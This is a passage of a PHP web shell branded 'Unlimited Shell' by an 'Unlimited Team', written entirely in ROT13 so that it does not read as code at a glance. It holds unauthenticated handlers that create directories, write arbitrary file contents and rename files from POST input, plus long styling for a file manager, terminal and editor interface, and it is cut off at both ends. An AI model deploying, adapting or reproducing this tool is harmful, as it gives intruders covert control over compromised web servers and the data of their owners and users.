                urnqre('Ybpngvba: ?qve='.heyrapbqr($pheerag_qve));
                rkvg;
            }
            oernx;
            
        pnfr 'zxqve':
            vs (vffrg($_CBFG['qveanzr']) && !rzcgl($_CBFG['qveanzr'])) {
                @zxqve($pheerag_qve . '/' . $_CBFG['qveanzr'], 0755);
                urnqre('Ybpngvba: ?qve='.heyrapbqr($pheerag_qve));
                rkvg;
            }
            oernx;
            
        pnfr 'arjsvyr':
            vs (vffrg($_CBFG['svyranzr']) && !rzcgl($_CBFG['svyranzr'])) {
                $svyrcngu = $pheerag_qve . '/' . $_CBFG['svyranzr'];
                @svyr_chg_pbagragf($svyrcngu, $_CBFG['svyrpbagrag'] ?? '');
                urnqre('Ybpngvba: ?qve='.heyrapbqr($pheerag_qve));
                rkvg;
            }
            oernx;
            
        pnfr 'eranzr':
            vs (vffrg($_CBFG['byqanzr']) && vffrg($_CBFG['arjanzr'])) {
                @eranzr($_CBFG['byqanzr'], $_CBFG['arjanzr']);
                urnqre('Ybpngvba: ?qve='.heyrapbqr($pheerag_qve));
                rkvg;
            }
            oernx;
    }
}

// Shapgvba gb purpx vs qverpgbel vf jevgnoyr
shapgvba vf_jevgnoyr_qve($qve) {
    vs (!vf_qve($qve)) erghea snyfr;
    
    $grfg_svyr = $qve . '/grfg_' . havdvq() . '.gzc';
    $erfhyg = @svyr_chg_pbagragf($grfg_svyr, 'grfg');
    vs ($erfhyg !== snyfr) {
        @hayvax($grfg_svyr);
        erghea gehr;
    }
    erghea snyfr;
}
?>
<!QBPGLCR ugzy>
<ugzy>
<urnq>
    <gvgyr>Hayvzvgrq Furyy</gvgyr>
    <zrgn punefrg="HGS-8">
    <yvax uers="uggcf://sbagf.tbbtyrncvf.pbz/pff2?snzvyl=Ebobgb+Zbab:jtug@300;400;500;700&snzvyl=Vagre:jtug@300;400;500;600;700&qvfcynl=fjnc" ery="fglyrfurrg">
    <yvax ery="fglyrfurrg" uers="uggcf://pqawf.pybhqsyner.pbz/nwnk/yvof/sbag-njrfbzr/6.4.0/pff/nyy.zva.pff">
    <fglyr>
        :ebbg {
            --cevznel: #2p3r50;
            --frpbaqnel: #3498qo;
            --npprag: #r74p3p;
            --fhpprff: #27nr60;
            --jneavat: #s39p12;
            --vasb: #17n2o8;
            --qnex: #1n1n1n;
            --yvtug: #s8s9sn;
            --fvqrone-ot: #1r2n38;
            --pneq-ot: #ssssss;
            --obeqre-pbybe: #qrr2r6;
            --grkg-cevznel: #2p3r50;
            --grkg-frpbaqnel: #6p757q;
            --funqbj: 0 4ck 6ck eton(0, 0, 0, 0.1);
            --genafvgvba: nyy 0.3f rnfr;
        }

        * { 
            znetva: 0; 
            cnqqvat: 0; 
            obk-fvmvat: obeqre-obk; 
        }
        
        obql { 
            onpxtebhaq: yvarne-tenqvrag(135qrt, #s5s7sn 0%, #p3psr2 100%);
            pbybe: ine(--grkg-cevznel);
            sbag-snzvyl: 'Vagre', fnaf-frevs;
            yvar-urvtug: 1.6;
            sbag-fvmr: 14ck;
            zva-urvtug: 100iu;
        }
        
        .pbagnvare { 
            qvfcynl: syrk; 
            zva-urvtug: 100iu; 
        }
        
        .fvqrone { 
            jvqgu: 280ck;
            onpxtebhaq: ine(--fvqrone-ot);
            cnqqvat: 20ck;
            cbfvgvba: fgvpxl;
            gbc: 0;
            nyvta-frys: syrk-fgneg;
            urvtug: 100iu;
            biresybj-l: nhgb;
            obk-funqbj: ine(--funqbj);
            m-vaqrk: 100;
        }
        
        .znva { 
            syrk: 1; 
            cnqqvat: 25ck; 
            onpxtebhaq: genafcnerag;
            biresybj-l: nhgb;
        }
        
        .urnqre {
            onpxtebhaq: ine(--pneq-ot);
            cnqqvat: 20ck; 
            znetva-obggbz: 25ck; 
            obeqre-enqvhf: 10ck;
            pbybe: ine(--grkg-cevznel);
            obeqre: abar;
            obk-funqbj: ine(--funqbj);
            cbfvgvba: eryngvir;
            biresybj: uvqqra;
            qvfcynl: syrk;
            whfgvsl-pbagrag: fcnpr-orgjrra;
            nyvta-vgrzf: pragre;
            syrk-jenc: jenc;
        }
        
        .urnqre::orsber {
            pbagrag: '';
            cbfvgvba: nofbyhgr;
            gbc: 0;
            yrsg: 0;
            jvqgu: 100%;
            urvtug: 4ck;
            onpxtebhaq: yvarne-tenqvrag(90qrt, ine(--frpbaqnel), ine(--npprag));
        }
        
        .urnqre u1 {
            znetva: 0;
            sbag-fvmr: 28ck;
        }

        .urnqre-vpbaf {
            qvfcynl: syrk;
            tnc: 15ck;
            nyvta-vgrzf: pragre;
        }

        .urnqre-vpba {
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            whfgvsl-pbagrag: pragre;
            jvqgu: 20ck;
            urvtug: 20ck;
            onpxtebhaq: eton(255, 255, 255, 0.1);
            obeqre-enqvhf: 50%;
            pbybe: juvgr;
            grkg-qrpbengvba: abar;
            genafvgvba: ine(--genafvgvba);
            sbag-fvmr: 16ck;
            obeqre: 1ck fbyvq ine(--obeqre-pbybe);
        }

        .urnqre-vpba:ubire {
            onpxtebhaq: ine(--frpbaqnel);
            pbybe: juvgr;
            genafsbez: genafyngrL(-2ck);
            obk-funqbj: 0 4ck 8ck eton(0,0,0,0.2);
        }
        
        .ybtva-vasb {
            onpxtebhaq: yvarne-tenqvrag(135qrt, #667rrn 0%, #764on2 100%);
            pbybe: juvgr;
            cnqqvat: 8ck 15ck;
            obeqre-enqvhf: 20ck;
            sbag-fvmr: 12ck;
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 8ck;
            znetva-yrsg: nhgb;
        }
        
        .ybtbhg-oga {
            onpxtebhaq: eton(255,255,255,0.2);
            pbybe: juvgr;
            obeqre: 1ck fbyvq eton(255,255,255,0.3);
            cnqqvat: 5ck 12ck;
            obeqre-enqvhf: 15ck;
            grkg-qrpbengvba: abar;
            sbag-fvmr: 11ck;
            genafvgvba: nyy 0.3f rnfr;
            znetva-yrsg: 10ck;
        }
        
        .ybtbhg-oga:ubire {
            onpxtebhaq: eton(255,255,255,0.3);
            genafsbez: genafyngrL(-1ck);
        }
                
        .frpgvba { 
            onpxtebhaq: ine(--pneq-ot); 
            znetva-obggbz: 20ck; 
            cnqqvat: 20ck;
            obeqre-enqvhf: 10ck;
            obk-funqbj: ine(--funqbj);
            obeqre: abar;
        }
        
        .svyr-yvfg { 
            znetva: 15ck 0; 
        }
        
        .svyr-vgrz { 
            cnqqvat: 12ck 15ck; 
            obeqre-obggbz: 1ck fbyvq ine(--obeqre-pbybe); 
            qvfcynl: syrk; 
            nyvta-vgrzf: pragre;
            genafvgvba: ine(--genafvgvba);
            syrk-jenc: jenc;
            obeqre-enqvhf: 5ck;
            cbfvgvba: eryngvir;
            phefbe: cbvagre;
        }
        
        .svyr-vgrz:ubire { 
            onpxtebhaq: #s1s8ss; 
            genafsbez: genafyngrL(-2ck);
            obk-funqbj: 0 2ck 5ck eton(0,0,0,0.05);
        }
        
        .svyr-vgrz.fryrpgrq {
            onpxtebhaq: #r3s2sq;
            obeqre-yrsg: 3ck fbyvq ine(--frpbaqnel);
        }
        
        .svyr-anzr { 
            syrk: 1; 
            sbag-fvmr: 14ck; 
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr; 
            zva-jvqgu: 200ck;
            jbeq-oernx: oernx-nyy;
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 8ck;
        }
        
        .svyr-npgvbaf { 
            qvfcynl: syrk; 
            tnc: 8ck; 
            syrk-jenc: jenc;
            znetva: 5ck 0;
        }
        
        .oga { 
            onpxtebhaq: ine(--frpbaqnel); 
            pbybe: #ssssss; 
            obeqre: abar; 
            cnqqvat: 8ck 14ck; 
            phefbe: cbvagre; 
            grkg-qrpbengvba: abar; 
            sbag-fvmr: 12ck; 
            sbag-snzvyl: 'Vagre', fnaf-frevs;
            obeqre-enqvhf: 5ck;
            genafvgvba: ine(--genafvgvba);
            sbag-jrvtug: 500;
            juvgr-fcnpr: abjenc;
            qvfcynl: vayvar-syrk;
            nyvta-vgrzf: pragre;
            tnc: 5ck;
            obk-funqbj: 0 2ck 4ck eton(0,0,0,0.1);
        }
        
        .oga:ubire { 
            genafsbez: genafyngrL(-2ck);
            obk-funqbj: 0 4ck 8ck eton(0,0,0,0.15);
        }
        
        .oga:qvfnoyrq {
            onpxtebhaq: #nqo5oq;
            phefbe: abg-nyybjrq;
            genafsbez: abar;
            obk-funqbj: abar;
        }
        
        .oga-qnatre { 
            onpxtebhaq: ine(--npprag); 
        }
        
        .oga-fhpprff { 
            onpxtebhaq: ine(--fhpprff); 
        }
        
        .oga-jneavat { 
            onpxtebhaq: ine(--jneavat); 
            pbybe: #000; 
        }
        
        .oga-vasb { 
            onpxtebhaq: ine(--vasb); 
        }
        
        .oga-frpbaqnel { 
            onpxtebhaq: ine(--grkg-frpbaqnel); 
        }
        
        .oga-cevznel {
            onpxtebhaq: ine(--cevznel);
        }
        
        vachg, grkgnern, fryrpg { 
            onpxtebhaq: #ssssss; 
            pbybe: ine(--grkg-cevznel); 
            obeqre: 1ck fbyvq ine(--obeqre-pbybe); 
            cnqqvat: 10ck; 
            znetva: 5ck 0;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            obeqre-enqvhf: 5ck;
            jvqgu: 100%;
            sbag-fvmr: 14ck;
            genafvgvba: ine(--genafvgvba);
        }
        
        vachg:sbphf, grkgnern:sbphf, fryrpg:sbphf {
            bhgyvar: abar;
            obeqre-pbybe: ine(--frpbaqnel);
            obk-funqbj: 0 0 0 3ck eton(52, 152, 219, 0.2);
        }
        
        .grezvany { 
            onpxtebhaq: ine(--pneq-ot); 
            obeqre: abar; 
            cnqqvat: 15ck;
            obeqre-enqvhf: 10ck;
            obk-funqbj: ine(--funqbj);
        }
        
        .grezvany-bhgchg { 
            onpxtebhaq: #2p3r50; 
            pbybe: #rps0s1; 
            urvtug: 400ck; 
            biresybj-l: nhgb; 
            biresybj-k: nhgb;
            cnqqvat: 15ck; 
            obeqre: abar; 
            znetva-obggbz: 15ck; 
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            sbag-fvmr: 13ck;
            obeqre-enqvhf: 5ck;
            juvgr-fcnpr: cer-jenc;
            jbeq-jenc: oernx-jbeq;
        }
        
        .grezvany-vachg { 
            jvqgu: 100%; 
            onpxtebhaq: #ssssss; 
            pbybe: ine(--grkg-cevznel); 
            obeqre: 1ck fbyvq ine(--obeqre-pbybe); 
            cnqqvat: 12ck;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            obeqre-enqvhf: 5ck;
            sbag-fvmr: 14ck;
        }
        
        .zbqny { 
            qvfcynl: abar; 
            cbfvgvba: svkrq; 
            gbc: 0; yrsg: 0; 
            jvqgu: 100%; urvtug: 100%; 
            onpxtebhaq: eton(0,0,0,0.5); 
            m-vaqrk: 1000;
            onpxqebc-svygre: oyhe(5ck);
        }
        
        .zbqny-pbagrag { 
            onpxtebhaq: ine(--pneq-ot); 
            znetva: 40ck nhgb; 
            cnqqvat: 30ck; 
            obeqre: abar;
            jvqgu: 90%; 
            znk-jvqgu: 800ck; 
            znk-urvtug: 85iu; 
            biresybj-l: nhgb;
            obeqre-enqvhf: 10ck;
            obk-funqbj: 0 10ck 25ck eton(0,0,0,0.2);
            cbfvgvba: eryngvir;
        }
        
        .zbqny-pbagrag::orsber {
            pbagrag: '';
            cbfvgvba: nofbyhgr;
            gbc: 0;
            yrsg: 0;
            jvqgu: 100%;
            urvtug: 4ck;
            onpxtebhaq: yvarne-tenqvrag(90qrt, ine(--frpbaqnel), ine(--npprag));
            obeqre-enqvhf: 10ck 10ck 0 0;
        }
        
        .oernqpehzo { 
            znetva-obggbz: 20ck; 
            cnqqvat: 15ck; 
            onpxtebhaq: ine(--pneq-ot); 
            obeqre: abar;
            obeqre-enqvhf: 10ck;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            sbag-fvmr: 13ck;
            jbeq-oernx: oernx-nyy;
            obk-funqbj: ine(--funqbj);
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            syrk-jenc: jenc;
            tnc: 10ck;
        }
        
        .oernqpehzo n { 
            pbybe: ine(--frpbaqnel); 
            grkg-qrpbengvba: abar; 
            sbag-jrvtug: 500; 
        }
        
        .oernqpehzo n:ubire { 
            grkg-qrpbengvba: haqreyvar; 
            pbybe: ine(--cevznel); 
        }
        
        .pheerag-cngu { 
            onpxtebhaq: ine(--pneq-ot); 
            cnqqvat: 12ck; 
            obeqre: abar; 
            znetva: 15ck 0; 
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            obeqre-enqvhf: 5ck;
            sbag-fvmr: 13ck;
            jbeq-oernx: oernx-nyy;
            obk-funqbj: ine(--funqbj);
        }
        
        .ubzr-oga { 
            onpxtebhaq: ine(--frpbaqnel); 
            pbybe: juvgr; 
            obeqre: abar; 
            cnqqvat: 8ck 16ck; 
            phefbe: cbvagre; 
            grkg-qrpbengvba: abar; 
            qvfcynl: vayvar-syrk;
            nyvta-vgrzf: pragre;
            tnc: 5ck;
            znetva-yrsg: 15ck;
            obeqre-enqvhf: 5ck;
            sbag-jrvtug: 500;
            genafvgvba: ine(--genafvgvba);
            sbag-fvmr: 13ck;
        }
        
        .onll { 
            onpxtebhaq: ine(--obeqre-pbybe); 
            pbybe: juvgr; 
            obeqre: abar; 
            cnqqvat: 8ck 16ck; 
            phefbe: cbvagre; 
            grkg-qrpbengvba: abar; 
            qvfcynl: vayvar-syrk;
            nyvta-vgrzf: pragre;
            tnc: 5ck;
            znetva-yrsg: 15ck;
            obeqre-enqvhf: 5ck;
            sbag-jrvtug: 500;
            genafvgvba: ine(--genafvgvba);
            sbag-fvmr: 13ck;
        }
        
        .ubzr-oga:ubire { 
            onpxtebhaq: #2980o9;
            grkg-qrpbengvba: abar;
            pbybe: #ssssss;
            genafsbez: genafyngrL(-2ck);
        }
        
        .svyr-vasb { 
            sbag-fvmr: 11ck; 
            pbybe: ine(--grkg-frpbaqnel); 
            znetva-yrsg: 15ck; 
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr; 
            qvfcynl: syrk;
            syrk-qverpgvba: pbyhza;
            tnc: 2ck;
        }
        
        .qve-yvax { 
            pbybe: ine(--frpbaqnel); 
            grkg-qrpbengvba: abar; 
            sbag-jrvtug: 500; 
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 5ck;
        }
        
        .qve-yvax:ubire { 
            grkg-qrpbengvba: haqreyvar; 
            pbybe: ine(--cevznel); 
        }
        
        .vpba-sbyqre { 
            pbybe: ine(--jneavat); 
        }
        
        .vpba-svyr { 
            pbybe: ine(--vasb); 
        }
        
        .gbbyone { 
            qvfcynl: syrk; 
            tnc: 10ck; 
            znetva-obggbz: 20ck; 
            syrk-jenc: jenc;
        }
        
        .flfgrz-vasb {
            onpxtebhaq: ine(--pneq-ot);
            pbybe: ine(--grkg-cevznel);
            cnqqvat: 15ck;
            obeqre-enqvhf: 10ck;
            znetva-obggbz: 20ck;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            sbag-fvmr: 12ck;
            obeqre: abar;
            jbeq-oernx: oernx-nyy;
            obk-funqbj: ine(--funqbj);
            cbfvgvba: eryngvir;
            biresybj: uvqqra;
        }
        
        .flfgrz-vasb::orsber {
            pbagrag: '';
            cbfvgvba: nofbyhgr;
            gbc: 0;
            yrsg: 0;
            jvqgu: 4ck;
            urvtug: 100%;
            onpxtebhaq: yvarne-tenqvrag(gb obggbz, ine(--frpbaqnel), ine(--npprag));
        }
        
        u1, u2, u3, u4, u5, u6 {
            sbag-snzvyl: 'Vagre', fnaf-frevs;
            sbag-jrvtug: 600;
            pbybe: ine(--grkg-cevznel);
            znetva-obggbz: 15ck;
        }
        
        .anab-rqvgbe {
            onpxtebhaq: #2p3r50;
            pbybe: #rps0s1;
            obeqre: abar;
            cnqqvat: 10ck;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            jvqgu: 100%;
            urvtug: 500ck;
            erfvmr: obgu;
            biresybj: nhgb;
            sbag-fvmr: 13ck;
            obeqre-enqvhf: 5ck;
        }
        
        .anab-urnqre {
            onpxtebhaq: #34495r;
            cnqqvat: 10ck;
            obeqre-obggbz: 1ck fbyvq #2p3r50;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            znetva-obggbz: 10ck;
            pbybe: #rps0s1;
            sbag-fvmr: 13ck;
            obeqre-enqvhf: 5ck 5ck 0 0;
        }
        
        .gno-pbagnvare {
            znetva-obggbz: 20ck;
        }
        
        .gno-ohggbaf {
            qvfcynl: syrk;
            obeqre-obggbz: 2ck fbyvq ine(--obeqre-pbybe);
            syrk-jenc: jenc;
            onpxtebhaq: ine(--pneq-ot);
            obeqre-enqvhf: 10ck 10ck 0 0;
            cnqqvat: 5ck 5ck 0 5ck;
            obk-funqbj: ine(--funqbj);
        }
        
        .gno-ohggba {
            cnqqvat: 12ck 24ck;
            onpxtebhaq: genafcnerag;
            obeqre: abar;
            phefbe: cbvagre;
            znetva-evtug: 5ck;
            obeqre-enqvhf: 5ck 5ck 0 0;
            sbag-snzvyl: 'Vagre', fnaf-frevs;
            sbag-jrvtug: 500;
            pbybe: ine(--grkg-frpbaqnel);
            genafvgvba: ine(--genafvgvba);
            cbfvgvba: eryngvir;
        }
        
        .gno-ohggba.npgvir {
            onpxtebhaq: ine(--pneq-ot);
            pbybe: ine(--cevznel);
            sbag-jrvtug: 600;
        }
        
        .gno-ohggba.npgvir::nsgre {
            pbagrag: '';
            cbfvgvba: nofbyhgr;
            obggbz: -2ck;
            yrsg: 0;
            jvqgu: 100%;
            urvtug: 3ck;
            onpxtebhaq: ine(--frpbaqnel);
            obeqre-enqvhf: 3ck 3ck 0 0;
        }
        
        .gno-ohggba:ubire {
            onpxtebhaq: eton(52, 152, 219, 0.1);
            pbybe: ine(--frpbaqnel);
        }
        
        .gno-pbagrag {
            qvfcynl: abar;
            cnqqvat: 20ck;
            obeqre: abar;
            onpxtebhaq: ine(--pneq-ot);
            obeqre-enqvhf: 0 0 10ck 10ck;
            obk-funqbj: ine(--funqbj);
        }
        
        .gno-pbagrag.npgvir {
            qvfcynl: oybpx;
        }
        
        cer {
            juvgr-fcnpr: cer-jenc;
            jbeq-jenc: oernx-jbeq;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            sbag-fvmr: 13ck;
            znetva: 10ck 0;
        }
        
        .pbzznaq-uvfgbel {
            onpxtebhaq: #rps0s1;
            obeqre: 1ck fbyvq #oqp3p7;
            obeqre-enqvhf: 5ck;
            cnqqvat: 5ck;
            znetva-obggbz: 10ck;
            sbag-fvmr: 12ck;
            znk-urvtug: 100ck;
            biresybj-l: nhgb;
        }
        
        .pbzznaq-vgrz {
            cnqqvat: 2ck 5ck;
            phefbe: cbvagre;
            obeqre-enqvhf: 3ck;
            genafvgvba: ine(--genafvgvba);
        }
        
        .pbzznaq-vgrz:ubire {
            onpxtebhaq: #q5qoqo;
        }
        
        .ybnqvat {
            bcnpvgl: 0.6;
            cbvagre-riragf: abar;
        }
        
        .grezvany-cebzcg {
            pbybe: ine(--fhpprff);
            sbag-jrvtug: obyq;
        }
        
        .grezvany-bhgchg-yvar {
            znetva: 2ck 0;
        }
        
        .jrofuryy-vgrz {
            onpxtebhaq: #sss3pq;
            obeqre: 1ck fbyvq #ssrnn7;
            obeqre-enqvhf: 5ck;
            cnqqvat: 10ck;
            znetva: 5ck 0;
            genafvgvba: ine(--genafvgvba);
        }
        
        .jrofuryy-vgrz:ubire {
            genafsbez: genafyngrL(-2ck);
            obk-funqbj: 0 2ck 5ck eton(0,0,0,0.1);
        }
        
        .pbasvt-vgrz {
            onpxtebhaq: #q1rps1;
            obeqre: 1ck fbyvq #orr5ro;
            obeqre-enqvhf: 5ck;
            cnqqvat: 10ck;
            znetva: 5ck 0;
            genafvgvba: ine(--genafvgvba);
        }
        
        .pbasvt-vgrz:ubire {
            genafsbez: genafyngrL(-2ck);
            obk-funqbj: 0 2ck 5ck eton(0,0,0,0.1);
        }
        
        .pbqr-cerivrj {
            onpxtebhaq: #2o2o2o;
            pbybe: #s8s8s2;
            cnqqvat: 10ck;
            obeqre-enqvhf: 5ck;
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            sbag-fvmr: 12ck;
            znk-urvtug: 300ck;
            biresybj-l: nhgb;
            znetva: 10ck 0;
        }
        
        .fvqrone-ybtb {
            grkg-nyvta: pragre;
            znetva-obggbz: 20ck;
            cnqqvat-obggbz: 20ck;
            obeqre-obggbz: 1ck fbyvq eton(255,255,255,0.1);
        }
        
        .fvqrone-ybtb u2 {
            pbybe: juvgr;
            sbag-fvmr: 22ck;
            znetva-obggbz: 5ck;
        }
        
        .fvqrone-ybtb c {
            pbybe: eton(255,255,255,0.7);
            sbag-fvmr: 12ck;
        }
        
        .fvqrone-frpgvba {
            znetva-obggbz: 25ck;
        }
        
        .fvqrone-frpgvba u4 {
            pbybe: juvgr;
            znetva-obggbz: 12ck;
            sbag-fvmr: 14ck;
            grkg-genafsbez: hccrepnfr;
            yrggre-fcnpvat: 1ck;
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 8ck;
        }
        
        .fvqrone-frpgvba u4 v {
            pbybe: ine(--frpbaqnel);
        }
        
        .fvqrone-ohggbaf {
            qvfcynl: syrk;
            syrk-qverpgvba: pbyhza;
            tnc: 8ck;
        }
        
        .fvqrone-oga {
            onpxtebhaq: eton(255,255,255,0.1);
            pbybe: juvgr;
            obeqre: abar;
            cnqqvat: 10ck 15ck;
            obeqre-enqvhf: 5ck;
            grkg-nyvta: yrsg;
            phefbe: cbvagre;
            genafvgvba: ine(--genafvgvba);
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 10ck;
            sbag-fvmr: 13ck;
        }
        
        .fvqrone-oga:ubire {
            onpxtebhaq: eton(255,255,255,0.2);
            genafsbez: genafyngrK(5ck);
        }
        
        .fvqrone-oga v {
            jvqgu: 20ck;
            grkg-nyvta: pragre;
        }
        
        .vasb-ebj {
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            znetva-obggbz: 8ck;
            zva-urvtug: 20ck;
        }
        
        .vasb-ynory {
            jvqgu: 140ck;
            syrk-fuevax: 0;
            sbag-jrvtug: 600;
            pbybe: ine(--cevznel);
        }
        
        .vasb-inyhr {
            syrk: 1;
            jbeq-oernx: oernx-nyy;
            pbybe: ine(--grkg-frpbaqnel);
            sbag-jrvtug: abezny;
        }
        
        .vzntr-pbagnvare {
            jvqgu: 100%;
            urvtug: 80ck; 
            obeqre-enqvhf: 5ck;
            biresybj: uvqqra;
            znetva-obggbz: 15ck;
        }
        
        .shyy-fvmr-vzntr {
            jvqgu: 100%;
            urvtug: 100%;
            bowrpg-svg: pbire; 
            qvfcynl: oybpx;
        }
        
        .fgnghf-vaqvpngbe {
            qvfcynl: vayvar-oybpx;
            jvqgu: 8ck;
            urvtug: 8ck;
            obeqre-enqvhf: 50%;
            znetva-evtug: 5ck;
        }
        
        .fgnghf-bayvar {
            onpxtebhaq: ine(--fhpprff);
        }
        
        .fgnghf-bssyvar {
            onpxtebhaq: ine(--npprag);
        }
        
        .pneq {
            onpxtebhaq: ine(--pneq-ot);
            obeqre-enqvhf: 10ck;
            cnqqvat: 15ck;
            znetva-obggbz: 15ck;
            obk-funqbj: ine(--funqbj);
            genafvgvba: ine(--genafvgvba);
        }
        
        .pneq:ubire {
            genafsbez: genafyngrL(-3ck);
            obk-funqbj: 0 6ck 12ck eton(0,0,0,0.1);
        }
        
        .pneq-urnqre {
            qvfcynl: syrk;
            whfgvsl-pbagrag: orgjrra;
            nyvta-vgrzf: pragre;
            znetva-obggbz: 10ck;
            cnqqvat-obggbz: 10ck;
            obeqre-obggbz: 1ck fbyvq ine(--obeqre-pbybe);
        }
        
        .pneq-gvgyr {
            sbag-jrvtug: 600;
            pbybe: ine(--cevznel);
            znetva: 0;
        }
        
        .jevgnoyr-vaqvpngbe {
            qvfcynl: vayvar-oybpx;
            jvqgu: 10ck;
            urvtug: 10ck;
            obeqre-enqvhf: 50%;
            znetva-yrsg: 5ck;
        }
        
        .jevgnoyr-gehr {
            onpxtebhaq: ine(--fhpprff);
        }
        
        .jevgnoyr-snyfr {
            onpxtebhaq: ine(--npprag);
        }
        
        .svyr-qrgnvyf {
            qvfcynl: syrk;
            syrk-qverpgvba: pbyhza;
            tnc: 2ck;
            sbag-fvmr: 11ck;
            pbybe: ine(--grkg-frpbaqnel);
            znetva-yrsg: 10ck;
        }
        
        .svyr-qrgnvy-vgrz {
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 5ck;
        }
        
        .svyr-crezvffvba {
            sbag-snzvyl: 'Ebobgb Zbab', zbabfcnpr;
            onpxtebhaq: #r9rprs;
            cnqqvat: 1ck 4ck;
            obeqre-enqvhf: 3ck;
            sbag-fvmr: 10ck;
        }
        
        .pheerag-qve-vasb {
            onpxtebhaq: ine(--pneq-ot);
            cnqqvat: 10ck 15ck;
            obeqre-enqvhf: 5ck;
            znetva-obggbz: 15ck;
            obk-funqbj: ine(--funqbj);
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 10ck;
            syrk-jenc: jenc;
        }
        
        .qve-fgnghf {
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 5ck;
            cnqqvat: 3ck 8ck;
            obeqre-enqvhf: 3ck;
            sbag-fvmr: 12ck;
            sbag-jrvtug: 500;
        }
        
        .qve-jevgnoyr {
            onpxtebhaq: #q4rqqn;
            pbybe: #155724;
        }
        
        .qve-ernqbayl {
            onpxtebhaq: #s8q7qn;
            pbybe: #721p24;
        }

        .pbagrkg-zrah {
            qvfcynl: abar;
            cbfvgvba: nofbyhgr;
            onpxtebhaq: juvgr;
            obeqre-enqvhf: 5ck;
            obk-funqbj: 0 4ck 12ck eton(0,0,0,0.15);
            m-vaqrk: 1000;
            zva-jvqgu: 180ck;
            biresybj: uvqqra;
        }

        .pbagrkg-zrah-vgrz {
            cnqqvat: 10ck 15ck;
            phefbe: cbvagre;
            obeqre-obggbz: 1ck fbyvq #s0s0s0;
            genafvgvba: ine(--genafvgvba);
            qvfcynl: syrk;
            nyvta-vgrzf: pragre;
            tnc: 8ck;
            sbag-fvmr: 13ck;
        }

        .pbagrkg-zrah-vgrz:ubire {
            onpxtebhaq: #s8s9sn;
        }

        .pbagrkg-zrah-vgrz:ynfg-puvyq {
            obeqre-obggbz: abar;
        }

        .pbagrkg-zrah-vgrz.qnatre {
            pbybe: ine(--npprag);
        }

        .fryrpgvba-pbhag {
            onpxtebhaq: ine(--frpbaqnel);
            pbybe: juvgr;
            cnqqvat: 2ck 8ck;
            obeqre-enqvhf: 10ck;
            sbag-fvmr: 11ck;
            znetva-yrsg: 5ck;
        }

        @zrqvn (znk-jvqgu: 768ck) {
            .pbagnvare {
                syrk-qverpgvba: pbyhza;
            }
            .fvqrone {
                jvqgu: 100%;
                urvtug: nhgb;
                cbfvgvba: eryngvir;
            }
            .svyr-vgrz {
                syrk-qverpgvba: pbyhza;
                nyvta-vgrzf: syrk-fgneg;
            }
            .svyr-npgvbaf {
                znetva-gbc: 10ck;
                jvqgu: 100%;
            }
            .svyr-vasb {
                znetva-yrsg: 0ck;
                znetva-gbc: 5ck;
            }
            .gno-ohggbaf {
                syrk-qverpgvba: pbyhza;
            }
            .gno-ohggba {
                znetva-evtug: 0;
                znetva-obggbz: 5ck;
                obeqre-enqvhf: 5ck;
            }
            .gno-ohggba.npgvir::nsgre {
                qvfcynl: abar;
            }
            .oernqpehzo {
                syrk-qverpgvba: pbyhza;
                nyvta-vgrzf: syrk-fgneg;
            }
            .ubzr-oga {
                znetva-yrsg: 0;
                znetva-gbc: 10ck;
            }
        }

        .oxx {
            onpxtebhaq-pbybe: #4PNS50;
            pbybe: juvgr;
            obeqre: abar;
            cnqqvat: 8ck 15ck;
            obeqre-enqvhf: 5ck;
            phefbe: cbvagre;
            sbag-fvmr: 14ck;
            znetva-obggbz: 10ck;
            genafvgvba: onpxtebhaq-pbybe 0.3f;
            jvqgu: 100%;
        }

        .oxx:ubire {
            onpxtebhaq-pbybe: #45n049;
        }

        .oxx:qvfnoyrq {
            onpxtebhaq-pbybe: #pppppp;
            phefbe: abg-nyybjrq;
        }

        .vpba {
            znetva-evtug: 5ck;
        }
    </fglyr>
</urnq>
<obql>
<qvi pynff="pbagnvare">
    <!-- Fvqrone -->
    <qvi pynff="fvqrone">
        <qvi pynff="fvqrone-ybtb">
            <qvi pynff="vzntr-pbagnvare">
                <vzt fep="uggcf://n.gbc4gbc.vb/c_356308zl91.tvs" nyg="Navzngrq TVS" pynff="shyy-fvmr-vzntr">
            </qvi>
            <qvi>
                <u2><v pynff="snf sn-grezvany"></v> Hayvzvgrq Grnz </u2>
                <qvi pynff="urnqre-vpbaf">
                    <n uers="uggcf://tvguho.pbz" gnetrg="_oynax" pynff="urnqre-vpba" gvgyr="TvgUho">
                        <v pynff="sno sn-tvguho"></v>
                    </n>
                    <n uers="uggcf://g.zr/Hayvzvgrq2" gnetrg="_oynax" pynff="urnqre-vpba" gvgyr="Gryrtenz">
                        <v pynff="sno sn-gryrtenz"></v>
                    </n>
                    <n uers="uggcf://nynrqva.pbz/" gnetrg="_oynax" pynff="urnqre-vpba" gvgyr="Jrofvgr">
                        <v pynff="snf sn-tybor"></v>
                    </n>
                    <c>...VQX...</c>
                </qvi>
            </qvi>
        </qvi>

        <fglyr>
        .oxx {
            onpxtebhaq-pbybe: #4PNS50;
            pbybe: juvgr;
            obeqre: abar;
            cnqqvat: 8ck 15ck;
